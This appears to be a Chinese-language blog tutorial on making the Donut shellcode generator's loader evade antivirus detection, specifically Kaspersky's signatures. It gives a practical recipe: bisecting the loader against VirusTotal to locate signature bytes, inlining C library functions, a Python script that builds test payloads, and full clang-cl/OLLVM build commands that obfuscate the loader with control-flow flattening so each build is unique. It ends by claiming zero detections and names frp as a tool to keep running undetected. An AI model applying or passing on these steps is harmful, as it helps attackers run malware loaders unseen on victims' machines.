什么是Donut

TheWover的Donut项目: https://github.com/TheWover/donut

其可将VBScript, JScript, EXE, DLL, .NET文件转为位置无关的shellcode。

其可将轻松将现有被杀的工具转换为shellcode,再通过shellcode加载技术、白+黑技术绕过AV。

为了免杀其shellcode,需要先分析生成流程和组成部分。

然而Donut生成的shellcode已经被以Kaspersky为首的各类杀软检测到

特别的有些杀软会检测内存中Donut的shellcode

对于frp这种需要一直运行的工具而言,运行一段时间后会因为内存检测而被杀掉进程

为了搞清楚杀软查杀特征,首先要做的就是分析Donut的shellcode。

shellcode生成流程和组成

代码见: https://github.com/TheWover/donut/blob/v1.0/donut.c#L1226

根据其代码,shellcode主要由3部分组成:

  1. 自定位汇编
  2. DONUT_INSTANCE结构数据
  3. LOADER

LOADER

其中LOADER是一个函数,通过传入参数DONUT_INSTANCE来加载dotnet、pe、script等

LOADER入口为: HANDLE DonutLoader(PDONUT_INSTANCE inst)

LOADER中分别实现了以下类型的内存加载

  1. dotnet
  2. pe
  3. script

自定位汇编

以x86为例,自定位汇编如下:

1
2
3
4
5
6
7
8
CALL label
...(DONUT_INSTANCE)
label:
POP ecx
POP edx
PUSH ecx
PUSH edx
...(LOADER)

自定位汇编的作用:

  1. 通过CALL指令获取DONUT_INSTANCE的地址,保存在ecx中
  2. 调整栈,模拟调用HANDLE DonutLoader(PDONUT_INSTANCE inst)

LOADER的免杀

以x86为例,LOADER的数据来自: loader_exe_x86.h

二分法定位查杀特征

将LOADER保存为data.bin,通过二分法,利用 https://www.virustotal.com 扫描查杀结果

文件名 是否被杀 说明
data1.bin 不杀 data.bin的前一半
data2.bin data.bin的后一半
data21.bin 不杀 依次类推
data22.bin
data221.bin 不杀
data222.bin
data2221.bin 不杀
data2222.bin
data22221.bin 不杀
data22222.bin
data222221.bin 不杀
data222222.bin
data2222221.bin 不杀
data2222222.bin

通过测试说明特征存在于data2222222.bin文件中,其内容hex如下

1
2
3
4
5
6
8B 54 24 0C 8B 44 24  04 56 8B F0 85 D2 74 13 57
8B 7C 24 10 2B F8 8A 0C 37 88 0E 46 83 EA 01 75
F5 5F 5E C3 8A 44 24 08 8B 4C 24 0C 57 8B 7C 24
08 F3 AA 8B 44 24 08 5F C3 8B 44 24 04 8B 4C 24
08 53 8A 10 84 D2 74 0E 8A 19 84 DB 74 08 3A D3
75 04 40 41 EB EC 0F BE 00 0F BE 09 2B C1 5B C3

查杀结果: 链接

可以看到KasperskyZoneAlarm by Check Point会报HEUR:Trojan.Win64.Donut.a

进一步分析,对应Donut的源代码在clib.c中的Memcpy Memset _strcmp三个函数

通过inline字免杀Loader

由于杀软检测上述特征序列,所以将这三个函数通过inline方式嵌入调用者函数中

inline嵌入后,LOADER将不会有上述特征序列

修改代码

修改clib.c代码

1
2
3
4
5
6
inline void *Memset (void *ptr, int value, uint32_t num)
// ...
inline void *Memcpy (void *destination, const void *source, uint32_t num)
// ...
inline int _strcmp(const char *str1, const char *str2)
// ...

修改loader.c,直接包含clib.c

1
2
3
4
#include "loader.h"
#include "clib.c" // <-- 添加这行
DWORD MainProc(PDONUT_INSTANCE inst);
// ...

重新生成loader_exe_x86.h

安装VS2022,打开x86 Native Tools Command Prompt for VS 2022,进入Donut源码目录

1
2
3
4
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
exe2h.exe loader.exe

命令对应说明

  1. 生成exe2h.exe
  2. 编译LOADER
  3. 链接LOADER
  4. 通过exe2h.exe将loader.exe转换为loader_exe_x86.h

再次将LOADER保存为文件,查杀结果为0/58,查杀报告链接

至此LOADER的免杀就完成,但重新编译donut.exe后,再次生成shellcode查杀还有问题

KasperskyZoneAlarm by Check Point会报HEUR:Trojan.Win64.Donut.b

特征名称发生了变化,从HEUR:Trojan.Win64.Donut.a变成了HEUR:Trojan.Win64.Donut.b

新特征的免杀

分析新特征

根据前文的分析,编写样本生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import re
from io import BytesIO
from pathlib import Path


def get_loader():
data = Path('loader_exe_x86.h').read_text('ascii')
return bytes.fromhex("".join(re.findall(r'0x([0-9a-f]{2})', data)))


def build_loader(data: bytes, noeip=False):
writer = BytesIO()
if noeip:
writer.write(b'\x90') # nop
else:
writer.write(b'\xe8') # call $+datalen
writer.write(int.to_bytes(len(data), 4, 'big'))
writer.write(data)
if noeip:
writer.write(b'\x90' * 4)
else:
writer.write(b'\x59') # pop ecx
writer.write(b'\x5a') # pop edx
writer.write(b'\x51') # push ecx
writer.write(b'\x52') # push edx
writer.write(get_loader()) # LOADER
return writer.getvalue()


Path('test.bin').write_bytes(get_loader())
Path('test1.bin').write_bytes(build_loader(b'\x90'))
Path('test2.bin').write_bytes(build_loader(b'\x90', noeip=True))
Path('test3.bin').write_bytes(build_loader(b'\x90' * 100))
Path('test4.bin').write_bytes(build_loader(b'\x90' * 100, noeip=True))
Path('test5.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024))
Path('test6.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024, noeip=True))

测试结果如下:

文件名 是否被杀 说明 报告
test.bin LOADER 报告
test1.bin 自定位+nop+LOADER 报告
test2.bin nop+nop+LOADER 报告
test3.bin 自定位+nop*100+LOADER 报告
test4.bin nop+nop*100+LOADER 报告
test5.bin nop+nop10241024+LOADER 报告
test6.bin nop+nop10241024+LOADER 报告

通过测试结果可以得到以下结论

  1. LOADER 不杀
  2. 自定位 + LOADER 的组合会被杀,但当数据长度超过1024*1024时,就不会被杀

新特征免杀思路

  1. 强行将data数据(DONUT_INSTANCE结构)扩大到1M
    1. 将会增加shellcode的体积,另外如果杀软更新特征检测距离还是会被杀
  2. 修改自定位的汇编指令
    1. x86下只能通过call来自定位,即使变形,杀软也可以根据变形增加新的检测特征
  3. 定位组合特征到底什么,再进行修改
    1. 如前文二分法,时间成本高,需要大量测试

有没有办法一劳永逸的解决组合特征问题?

考虑到新特征是自定位+LOADER组合,在不修改自定位的情况下,只能想办法抹除LOADER的特征

在有源码的情况,想到可以考虑使用OLLVM混淆LOADER

OLLVM混淆LOADER

OLLVM中控制流平坦化是一种常用的代码控制流混淆技术,它通过将程序的控制流程转换为一个平坦的结构,使得代码的执行路径变得难以预测和理解。控制流平坦化技术通常使用控制流图和状态机来表示程序的控制流程,然后通过一系列转换和重排操作,将程序的控制流程转换为一个平坦的结构。

详见: https://github.com/obfuscator-llvm/obfuscator/wiki/Control-Flow-Flattening

流程平坦特性通过scrambling_key随机种子来平坦代码块,这意味每次编译将产生不同的LOADER,在下次杀软检测后只需要重新编译一次LOADER即可。

OLLVM重新编译LOADER

llvm不支持__stosb宏,需要修改clib.cMemset函数

1
2
3
4
5
6
7
8
inline void *Memset (void *ptr, int value, uint32_t num) {
unsigned char *p = (unsigned char*)ptr;
while(num--) {
*p = (unsigned char)value;
p++;
}
return ptr;
}

为了方便的使用ollvm,我使用了https://github.com/wwh1004/ollvm-16/releases,作者将llvm升级到16,并预编译了clang-cl.exe

将clang-cl.exe放入Donut源码目录,安装VS2022,打开x86 Native Tools Command Prompt for VS 2022,进入Donut源码目录

生成loader_exe_x86.h

1
2
3
.\clang-cl.exe --target=i686-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
.\exe2h.exe .\loader.exe

此时用IDA打开loader.exe,可以看到如下图所示的流程图。

flow

生成loader_exe_x64.h

注意需要从VS目录复制chkstk.obj到Donut源码目录

1
2
3
.\clang-cl.exe --target=x86_64-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj chkstk.obj
.\exe2h.exe .\loader.exe

生成包含OLLVM版LOADER的donut.exe

1
2
rc include/donut.rc
.\clang-cl.exe --target=i686-w64-windows-msvc -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include/donut.res

再次使用donut.exe生成shellcode,已经没有任何杀软查杀了

项目地址

ollvm部分可从以下仓库获取代码和编译脚本

https://github.com/howmp/donut_ollvm